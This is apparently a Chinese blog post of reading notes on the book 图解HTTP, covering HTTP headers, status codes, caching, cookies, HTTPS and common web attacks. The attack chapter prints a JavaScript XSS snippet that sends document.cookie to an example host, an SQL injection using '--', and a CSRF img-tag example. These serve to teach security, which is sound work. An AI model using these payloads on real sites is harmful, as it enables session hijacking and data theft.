图解HTTP

第3章:HTTP报文内的HTTP信息

HTTP报文大致可以分为报文首部和报文主体两部分,两者由最初出现的空行(CR+LF)来划分。
报文首部通常指的就是Head部分,报文主体就是传递来回的信息部分。


bw.png

一般有4种首部,分别是:通用首部、请求首部、响应首部和实体首部。

HTTP/1.0和HTTP/1.1支持的方法

方法 说明 支持的HTTP协议版本
GET 获取资源 1.0,1.1
POST 传输实体主体 1.0,1.1
PUT 传输文本 1.0,1.1
HEAD 获取报文首部 1.0,1.1
DELETE 删除文件 1.0,1.1
OPTIONS 询问支持方法(跨域时候使用) 1.1
TRACE 追踪路径(追踪被转发了几次的详细情况) 1.1
CONNECT 要求用隧道协议链接代理 1.1
LINK 简历和资源之间的联系(1.1已废弃) 1.0
UNLINK 断开连接关系 1.0

第4章 返回结果的HTTP状态码

大致归纳

类别 原因短语
1xx 信息性状态码 接收的请求正在处理
2xx 成功状态码 请求正常处理完毕
3xx 重定向状态码 需要进行附加操作以完成请求
4xx 客户端错误状态码 服务器无法处理请求
5xx 服务器错误状态码 服务器处理请求出错

状态码详情

  • 200 OK 请求正常返回
  • 204 No Content 请求处理成功,但是没有资源可返回
  • 206 Partial Content 对资源的某一部分的请求
  • 301 Moved Permanently 永久重定向
  • 302 Found 临时重定向
  • 303 See Other 使用GET请求返回的临时重定向
    当301,302,303响应状态码返回时,几乎所有的浏览器都会把POST改成GET,并删除请求报文内的主体,之后请求会自动再次发送
    301、302标准是禁止将POST方法改成GET方法,但实际使用大家都会这么做
  • 304 Not Modified 资源已找到,但未符合条件请求。一般是表示返回的数据是服务器中缓存的
  • 307 Temporary Redirect 和302一样,只是其不会禁止POST变换成GET
  • 400 Bad Request 请求报文中存在语法错误,当错误发生时,需修改请求的内容后再次发送请求。
  • 401 Unauthorized 表示发送的请求需要有通过HTTP认证的认证信息。权限不够
  • 403 Forbidden 请求资源的访问被服务器拒绝了
  • 404 Not Found 服务器上没有请求的资源
  • 500 Internal Server Error 服务器在执行请求时发生了错误
  • 503 Service Unavailable 表明服务器暂时处于超负荷或正进行停机维护,现在无法处理请求。

第5章 与HTTP协作的Web服务器

由于一个主机内可能会有多个域名,但是一个请求正常访问的时候是先通过DNS去解析对应的IP地址。但是怎么去对应的URL地址呢?就通过Head上的Host来提示。

保存资源的缓存

缓存是指 代理服务器或客户端本地磁盘内保存的资源副本。
当代理转发从服务器返回的响应时,代理服务器将会保存一份资源的副本。

hcfwq.png

优势在于利用缓存可避免多次从源头服务器上请求资源。可直接就近在缓存服务器获取资源。

客户端的缓存

客户端的缓存也称为临时网络文件。和缓存服务器相同的一点是,当判定缓存过期后,会向源服务器确认资源的有效性。

第6章 HTTP首部

HTTP请求报文

GET / HTTP/1.1 
Host: hackr.jp 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/2010010
Accept: text/html,application/xhtml+xml,application/xml;q=0.9; q=0 
Accept-Language: ja,en-us;q=0.7,en;q=0.3 
Accept-Encoding: gzip, deflate 
DNT: 1 
Connection: keep-alive 
If-Modified-Since: Fri, 31 Aug 2007 02:02:20 GMT 
If-None-Match: "45bae1-16a-46d776ac" 
Cache-Control: max-age=0

HTTP响应报文

HTTP/1.1 304 Not Modified 
Date: Thu, 07 Jun 2012 07:21:36 GMT 
Server: Apache 
Connection: close 
Etag: "45bae1-16a-46d776ac"

HTTP首部字段一览

有4种首部字段:通用首部字段、请求首部字段Request Head、响应首部字段Response Head和实体首部字段

通用首部字段

首部字段名 说明
Cache-Control 控制缓存的行为
Connection 逐跳首部、链接的管理
Date 创建报文的日期时间
Pragma 报文末端的首部一览
Transfer-Encoding 指定报文主体的传输编码方式
Upgrade 升级为其他协议
Via 代理服务器的相关信息
Warning 错误通知

请求首部字段

首部字段名 说明
Accept 用户代理可处理的媒体类型
Accept-Charset 优先的字符集
Accept-Encoding 优先的内容编码
Accept-Language 优先的语言(自然语言)
Authorization Web认证信息
Expect 期待服务器的特定行为
From 用户的电子邮箱地址
Host 请求资源所在服务器
If-Match 比较实体标记(ETag)
If-Modified-Since 比较资源的更新时间
If-None-Match 比较实体标记(与 If-Match 相反)
If-Range 资源未更新时发送实体 Byte 的范围请求
If-Unmodified-Since 比较资源的更新时间(与If-Modified-Since相反)
Max-Forwards 最大传输逐跳数
Proxy-Authorization 代理服务器要求客户端的认证信息
Range 实体的字节范围请求
Referer 对请求中 URI 的原始获取方
TE 传输编码的优先级
User-Agent HTTP 客户端程序的信息

上述表格中加粗的为常用属性。

响应首部字段

首部字段名 说明
Accept-Ranges 是否接受字节范围请求
Age 推算资源创建经过时间
ETag 资源的匹配信息
Location 令客户端重定向至指定URI
Proxy-Authenticate 代理服务器对客户端的认证信息
Retry-After 对再次发起请求的时机要求
Server HTTP服务器的安装信息
Vary 代理服务器缓存的管理信息
WWW-Authenticate 服务器对客户端的认证信息

实体首部字段

首部字段名 说明
Allow 资源可支持的HTTP方法
Content-Encoding 实体主体适用的编码方式
Content-Language 实体主体的自然语言
Content-Length 实体主体的大小(单位:字节)
Content-Location 替代对应资源的URI
Content-MD5 实体主体的报文摘要
Content-Range 实体主体的位置范围
Content-Type 实体主体的媒体类型
Expires 实体主体过期的日期时间
Last-Modified 资源的最后修改日期时间

上述表格中加粗的为常用属性。

缓存请求指令
指令 参数 说明
no-cache 强制向源服务器再次验证
no-store 不缓存请求或响应的任何内容
max-age = [ 秒] 必需 响应的最大Age值
max-stale( = [ 秒]) 可省略 接收已过期的响应
min-fresh = [ 秒] 必需 期望在指定时间内的响应仍有效
no-transform 代理不可更改媒体类型
only-if-cached 从缓存获取资源
cache-extension - 新指令标记(token)
缓存响应指令
指令 参数 说明
public 可向任意方提供响应的缓存
private 可省略 仅向特定用户返回响应
no-cache 可省略 缓存前必须先确认其有效性
no-store 不缓存请求或响应的任何内容
no-transform 代理不可更改媒体类型
must-revalidate 可缓存但必须再向源服务器进行确认
proxy-revalidate 要求中间缓存服务器对缓存的响应有效性再进行确认
max-age = [ 秒] 必需 响应的最大Age值
s-maxage = [ 秒] 必需 公共缓存服务器响应的最大Age值
cache-extension - 新指令标记(token)

public&private

Cache-Control: public | private 

public:明确表明其他用户也可利用缓存。
private:只能当前用户使用

下面详细介绍各个部分

通用首部字段

Cache-Control

控制缓存的行为。

Cache-Control: private, max-age=0, no-cache

no-cache

Cache-Control: no-cache 
Cache-Control: no-cache=Location

no-cache:明确表示客户端不会接受缓存过的响应。这样就可以防止从缓存中返回过期的资源。

no-store

Cache-Control: no-store 

暗示请求和对应的响应,该请求或对应的响应中包含机密信息。

Tips:no-cache其实并不是说不缓存,只是代表 不缓存过期的资源。no-store才是真正的不进行缓存,每次都去源头服务器重新请求。

s-maxage

Cache-Control: s-maxage=604800(单位 :秒)

s-maxage指令的功能和max-age指令的相同,不同点就是s-maxage指令只适用于供多位用户使用的公共缓存服务器(代理服务器)。
设置s-maxage之后max-age和Expires都不生效。

max-age
Cache-Control: max-age=604800(单位:秒)
表示将资源保存为缓存的最长时间。

min-fresh
Cache-Control: min-fresh=60(单位:秒)
要求缓存服务器返回至少还未过指定时间的缓存资源。
比如,当指定 min-fresh 为 60 秒后,过了 60 秒的资源都无法作为响 应返回了。

max-stale
Cache-Control: max-stale=3600(单位:秒)
可指示缓存资源,即使过期也照常接收。

only-if-cached
Cache-Control: only-if-cached
该指令要求缓存服务器不重新 加载响应,也不会再次确认资源有效性。若发生请求缓存服务器的本 地缓存无响应,则返回状态码 504 Gateway Timeout。

proxy-revalidate
要求所有的缓存服务器在接收到客户端带有该指 令的请求返回响应之前,必须再次验证缓存的有效性。

no-transform
Cache-Control: no-transform
使用 no-transform 指令规定无论是在请求还是响应中,缓存都不能改 变实体主体的媒体类型。
这样做可防止缓存或代理压缩图片等类似操作。

Connection

  • 控制不再转发给代理的首部字段
  • 管理持久连接

Date

表明创建 HTTP 报文的日期和时间

Transfer-Encoding

规定了传输报文主体时采用的编码方式
Transfer-Encoding: chunked

Via

为了追踪客户端与服务器之间的请求和响应报文 的传输路径。

Warning

Warning: 113 gw.hackr.jp:8080 "Heuristic expiration" Tue, 03
Warning: [警告码][警告的主机:端口号]“[警告内容]”([日期时间])

警告码 警告内容 说明
110 Response is stale(响应已过期) 代理返回已过期的资源
111 Revalidation failed(再验证失败) 代理再验证资源有效性时失败(服务 器无法到达等原因)
112 Disconnection operation(断开连接操 作) 代理与互联网连接被故意切断
113 Heuristic expiration(试探性过期) 响应的使用期超过24小时(有效缓存 的设定时间大于24小时的情况下)
199 Miscellaneous warning(杂项警告) 任意的警告内容
214 Transformation applied(使用了转换) 代理对内容编码或媒体类型等执行了 某些处理时
299 Miscellaneous persistent warning(持久 杂项警告) 任意的警告内容

请求首部字段Request

Accept
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
上述代码中有 q=来表示权重值,范围为0-1,不写默认为q=1.0。

Accept-Charset
Accept-Charset: iso-8859-5, unicode-1-1;q=0.8
通知服务器用户代理支持的字符集及 字符集的相对优先顺序。

Accept-Encoding
Accept-Encoding: gzip, deflate
告知服务器用户代理支持的内容编码及 内容编码的优先级顺序

Accept-Language
Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3

Authorization
Authorization: Basic dWVub3NlbjpwYXNzd29yZA==
告知服务器,用户代理的认证信息(证书值)。

Expect
Expect: 100-continue

Host
Host: www.hackr.jp
明确指出请求的主机名。

Referer
Referer: http://www.hackr.jp/index.htm
首部字段 Referer 会告知服务器请求的原始资源的 URI。
Referer 的正确的拼写应该是 Referrer。第一次就拼写错误,后来就将错就错了

User-Agent
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko
用于传达浏览器的种类

响应首部字段

Location
Location: http://www.usagidesign.jp/sample.html
可以将响应接收方引导至某个与请求URI位置不同的资源。
基本上该字段会配合301,302,303等Redirection的响应,提供重定向的URI。

Server
Server: Apache/2.2.17 (Unix)
告知服务器上的服务应用程序版本信息。

实体首部字段

实体首部字段是包含在请求报文和响应报文中的实体部分所使用的首 部,用于补充内容的更新时间等与实体相关的信息。
Allow
Allow: GET, HEAD
通知客户端能够支持 Request-URI 指定资源的所 有 HTTP 方法.

Content-Encoding
Content-Encoding: gzip
首部字段 Content-Encoding 会告知客户端服务器对实体的主体部分选 用的内容编码方式。

Content-Length
Content-Length: 15000
表明了实体主体部分的大小,单位是字节。

Content-MD5
Content-MD5: OGFkZDUwNGVhNGY3N2MxMDIwZmQ4NTBmY2IyTY==
一串由 MD5 算法生成的值,其目的在于检 查报文主体在传输过程中是否保持完整,以及确认传输到达。

Content-Type
Content-Type: text/html; charset=UTF-8
说明了实体主体内对象的媒体类型。和首部字 段 Accept 一样,字段值用 type/subtype 形式赋值。

Expires
Expires: Wed, 04 Jul 2012 08:26:05 GMT
告知客户端资源失效的日期。
缓存服务器在接 收到含有首部字段 Expires 的响应后,会以缓存来应答请求,在 Expires 字段值指定的时间之前,响应的副本会一直被保存。当超过 指定的时间后,缓存服务器在请求发送过来时,会转向源服务器请求资源。
当首部字段Cache-Control有指定max-age指令时,会优先处理max-age指令。

Last-Modified
Last-Modified: Wed, 23 May 2012 09:59:55 GMT
指明资源的最终修改的时间。

为Cookie服务的首部字段

首部字段名 说明 首部类型
Set-Cookie 开始状态管理所使用的Cookie信息 响应首部字段
Cookie 服务器接收到的Cookie信息 请求首部字段

Set-Cookie
Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31

属性 说明
NAME=VALUE 赋予 Cookie 的名称和其值(必需项)
expires=DATE Cookie 的有效期(若不明确指定则默认为浏览器关闭前为止)
path=PATH 将服务器上的文件目录作为Cookie的适用对象(若不指定则默 认为文档所在的文件目录)
domain=域名 作为 Cookie 适用对象的域名 (若不指定则默认为创建 Cookie 的服务器的域名)
Secure 仅在 HTTPS 安全通信时才会发送 Cookie
HttpOnly 加以限制,使 Cookie 不能被 JavaScript 脚本访问

其他首部字段

X-Frame-Options
X-Frame-Options: DENY | SAMEORIGIN
用于控制网站内容 在其他 Web 网站的 Frame 标签内的显示问题。主要目的是为了防止点击劫持攻击。

  • DENY :拒绝
  • SAMEORIGIN :仅同源域名下的页面(Top-level-browsingcontext)匹配时许可。(比如,当指定 http://hackr.jp/sample.html 页面为 SAMEORIGIN 时,那么 hackr.jp 上所有页面的 frame 都被 允许可加载该页面,而 example.com 等其他域名的页面就不行 了)

X-XSS-Protection
X-XSS-Protection:0 | 1
针对跨站脚本攻击XSS的一种对策,用于控制浏览器XSS防护机制的开关。

  • 0 XSS过滤设置成无效状态
  • 1 XSS过滤设置成有效状态

DNT
Do Not Track的简称。用于拒绝个人信息被收集,表示拒绝被精准广告追踪的一种方法。

  • 0 同意被追踪
  • 1 拒绝被追踪

确保Web安全的HTTPS

HTTP有这些不足:

  • 通信使用明文(不加密),内容可能会被窃听
  • 不验证通信放的身份,因此有可能遭遇伪装
  • 无法证明报文的完整性,所有有可能已遭篡改

通过和SSL安全套接层或TLS安全层传输协议的组合使用,加密HTTP的通信内容。和SSL组合使用的HTTP被称为HTTPS超文本传输安全协议。SSL会对报文主体进行加密,报文首部都是正常显示。

HTTP+加密+认证+完整性保护 = HTTPS

通常HTTP直接和TCP通信,当使用SSL时,则演变成先和SSL通信,SSL将数据加密之后再和TCP通信。
SSL的加密方式是报文使用公钥加密,传输到TCP上之后服务器接收了再使用服务器上的私钥进行解密。服务器发送给客户端的也是这种方法。公钥是公开的,私钥不是。

SSL是独立于HTTP协议,所以不光是HTTP协议,其他运行在应用层的SMTP和Telnet等协议均可配合SSL协议使用。可以说SSL是当今世界上应用最为广泛的网络安全技术。

HTTPS也存在一些问题,那就是当使用SSL时,它的处理速度会变慢。


SSL.png

SSL 的慢分两种。一种是指通信慢。另一种是指由于大量消耗 CPU 及内存等资源,导致处理速度变慢。
和使用 HTTP 相比,网络负载可能会变慢 2 到 100 倍。

HTTPS安全但是却使用度比不上HTTP。是因为:

  1. https会占据对于的服务器的CPU资源,是的服务器的处理性能下降
  2. CA证书,每年要付钱600多RMB

第8章 确认访问用户身份的认证

这里其他认证不讲,用的不多

Session管理及Cookie应用

session.png

这个过程是这样的:

  1. 客户端登录将用户ID和密码通过POST发送给服务器。
  2. 服务器去数据库验证通过之后发放用以识别用户的一个SessionID。然后将用户的登录信息和该SessionID相互绑定。
    想客户端返回响应时,会在首部字段set-cookie内写入SessionID(如PHPSESSID=028a8c…)。
    给SessionID加盐(salt)增加额外信息,也就是使用hash等手段加密。保证攻击者不能随便猜出来。
    同时服务器也需要进行该SessionID的有效期的管理,进一步保证其安全性。另外可以在set-cookie中加入httpOnly属性,保证客户端无法使用脚本抓取到。
  3. 客户端接收到服务器发来的SessionID后,将其作为Cookie保存在本地。下次向服务器发送请求时候,自动在head报文上带上。服务器接收数据之后就去验证该cookie是否有效。

其实这种防御还是能被攻击破的,在跨域攻击上CRSF,无法完全避免,只能提高攻击门槛。

第9章 基于HTTP的功能追加协议

Ajax协议

Comet通信

通常在服务器端接收到请求,在处理完毕之后置于挂起状态,当服务器端有内容更新时,再返回该响应。
此时服务器端一旦有更新,就会立即反馈给客户端。

使用浏览器进行全双工通信的WebSocket

一旦Web服务器与客户端之间建立起WebSocket协议的通信连接,之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON、XML、HTML或图片等任意格式的数据。
WebSocket协议的主要特点:

  • 推送功能
    服务器可直接发送数据,而不必等待客户端的请求。
  • 减少通信量
    只要建立了连接,就一直保持连接状态。和HTTP相比,不但每次连接时的总开销减少,而且由于WebSocket的首部信息很小,通信量也相应的减少了。

期盼已久的HTTP/2.0

目前还主要围绕着7项技术进行讨论。

项目 实现
压缩 SPDY、Friendly
多路复用 SPDY
TLS 义务化 Speed+ Mobility
协商 Speed+ Mobility,Friendly
客户端拉曳(Client Pull)/服务器推送 (Server Push) Speed+ Mobility
流量控制 SPDY WebSocket Speed+ Mobilit

第11章 Web的攻击技术

互联网上重要攻击事件明细表


gg.png

针对Web应用的攻击模式

有两种:主动攻击和被动攻击

以服务器为目标的主动攻击
主要代表是 SQL注入OS命令注入。主要是通过代码传入攻击服务器上的资源。一般都是攻击服务器上的数据库。

以服务器为目标的被动攻击
指利用圈套策略执行攻击代码的攻击模式。在被动攻击的过程中,攻击者不直接对目标Web应用访问发起攻击。
一般有一下几个步骤:

  1. 诱使用户触发已经设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
  2. 用户打开浏览器或者邮件,比如在上面放一个带木马link的图片,用户点击之后就会触发。
  3. 用户点击之后,浏览器会将当前的攻击的HTTP请求当做正常的请求,并在该请求上附带自己的信息token,cookie等。
  4. 这样攻击者就有可能在用户登录状态下拿到用户的权限。
    这种模式最具代表性的就是跨站脚本攻击(XSS)和跨站点请求伪造(CSRF)

跨站脚本攻击(XSS)

攻击者一般在网站的输入表单中植入攻击代码陷阱。利用用户触发该陷阱窃取用户的Cookie等关键信息。
比如在web网站的表单输入框中输入:

var content = escape(document.cookie); 
document.write("<img src=http://hackr.jp/?"); 
document.write(content); 
document.write(">");

这是一段获取cookie的代码,如果web网站后台没有做代码转义,cookie又没有设置httpOnly导致其可以被脚本获取。然后当用户浏览器这段输入的表单信息的时候,这段代码就会被触发。于是cookie就这样被窃取了。

SQL注入攻击

先看一个案例

sqlzhuyu.png

上图是一个搜索结果,web上使用get方式获取数据,服务器使用select抓取数据并返回。
get请求的URL:
http://www.baidu.com/search?q=上野宣
select语句:

SELECT * FROM bookTbl WHERE author = '上野宣' AND flag = 1;

flag=1表示是正在出售的内容。
那要怎么实现注入呢?将get请求改一下
http://www.baidu.com/search?q=上野宣'--
这样数据库的查询语句就变成了

SELECT * FROM bookTbl WHERE author = '上野宣'--' AND flag = 1;

将“上野宣”字符串改成“上野宣'--”,加三个字符'--,因为--在SQL中会将其后面的语句注释掉。这样查询出来的数据就无视后面的flag=1的这个条件了;

sqlzhuyu2.png

于是flag=0这种绝版数据的情况就也能看到了。

当然了上面只是一种很简单的sql注入方式,这种注入要求服务器的程序员都是新手傻帽,不做任何特殊字符验证的。

OS命令注入攻击

指通过web应用,执行非法的 操作系统命令达到攻击的目的。
只要在能调用Shell函数的地方就存在被攻击的风险。
从一个案例上来阐述:
算了 这个看不懂。。。

HTTP首部注入攻击

指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击方式。属于被动攻击模式。
案例:
比如在web中选定某个类别后即可跳转至该类别对应页面的功能为例。每个类别都有一个自己的ID值,一旦选择某个类别,就会将该ID值反应到响应内的Location首部字段内,如Location:http://example.com/?cat=101。这样会令浏览器发生重定向跳转。

会话劫持

攻击者拿到用户的会话ID,并使用此ID伪装成用户。所以sessionID需要使用Hash加密增加难度。一般攻击者会通过下面几种放回获取会话ID

  • 靠经验去猜...
  • 通过XSS窃取
  • 通过会话固定攻击强行获取会话ID
    案例上面第一个讲XSS的时候就说过了


    XSS.png

会话固定攻击

该攻击会强制用户使用攻击者指定的会话ID,属于被动攻击。
案例:


hhgdgj.png
  1. 用户登录网站,服务器发布一个会话ID给用户。比如http://example.com/login?SID=f5d1278e8109;随后用户的每次请求都会将此会话ID带上和服务器进行通信。
  2. 在用户通信之前将第一步中的URL作为陷阱,诱使用户前去认证
  3. 认证之后会话ID变为(用户已认证)状态
  4. 攻击者直接使用第一步中的url访问

跨站点请求伪造CSRF

指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新。
攻击案例:
下面用留言板为例,讲解跨站点请求伪造。该功能只允许登录的用户留言。

  1. 攻击者在留言板上发表含有恶意代码的代码<img src="http://www.gongjizhe.com/msg?q=你傻逼"
  2. 用户A登录并浏览到该部分代码
  3. 由于网站管理员后台没有设定转义字符,该代码会自动执行被当做一个请求发送给了攻击者
  4. 用户A在不知道的情况下发送给了一个请求给攻击者,这个请求上还附带着他的Cookie,这样攻击者就拿到了用户A的会话ID


    CSRF.png

其他安全漏洞

密码破解

密码破解攻击,就是算出密码,突破认证。比如ping路由器。。。
一般就两种:

  • 密码试错,暴力破解。ping路由器
  • 对已加密密码的破解。抓包,再暴力试错破解。

密码试错

  1. 穷举法——暴力破解法。对所有秘钥集合构成的秘钥空间进行穷举。
  2. 字典攻击。这个你懂的

对已加密密码的破解

Web在保存密码的时候,一般不会直接以明文的方式保存,通过散列函数(MD5、Hash)做散列处理或加salt的手段对要保存的密码本身加密。

  1. 注册时,密码被MD5加密存储到数据库中
  2. 登录时,密码转化成MD5格式,拿到数据库中对比

点击劫持

利用透明的按钮或链接做陷阱,覆盖在web页面上。比如电影下载网站上的一层透明层。点击就前往赌博网站。这种行为也叫界面伪装
案例:
在目标网站上设置一个透明的iframe,然后该透明的iframe上设置一个button,这个button的位置和目标页面的用户会点击的按钮位置一致。当用户点击目标网站的按钮的时候实际上点的是iframe上的按钮。

DOS攻击

一种让运行中的服务呈停止状态的攻击。也叫服务停止攻击或拒绝服务攻击。DOS攻击的对象不仅仅是Web网站,还包括网络设备及其服务器等。
一般有两种方式:

  • 集中利用访问请求造成资源过载,让服务器带宽被占完。此时其他用户就无法正常访问服务器了
    其实单纯来讲就是发送大量的合法请求,把服务器搞瘫痪。
  • 通过攻击安全漏洞使服务停止

最后总结

这本书很多地方都是讲解了http过程中的方方面面,各种过程状态,对以前模棱两可的知识一次总结。另外也了解了一些攻击方法。很多的攻击都是源于粗心的前端和后端的安全机制漏洞造成的。书籍内容不深,不过对以往知识的总结不错!推荐3天迅速读完并笔记。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,132评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,802评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,566评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,858评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,867评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,695评论 1 282
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,064评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,705评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,915评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,677评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,796评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,432评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,041评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,992评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,223评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,185评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,535评论 2 343

推荐阅读更多精彩内容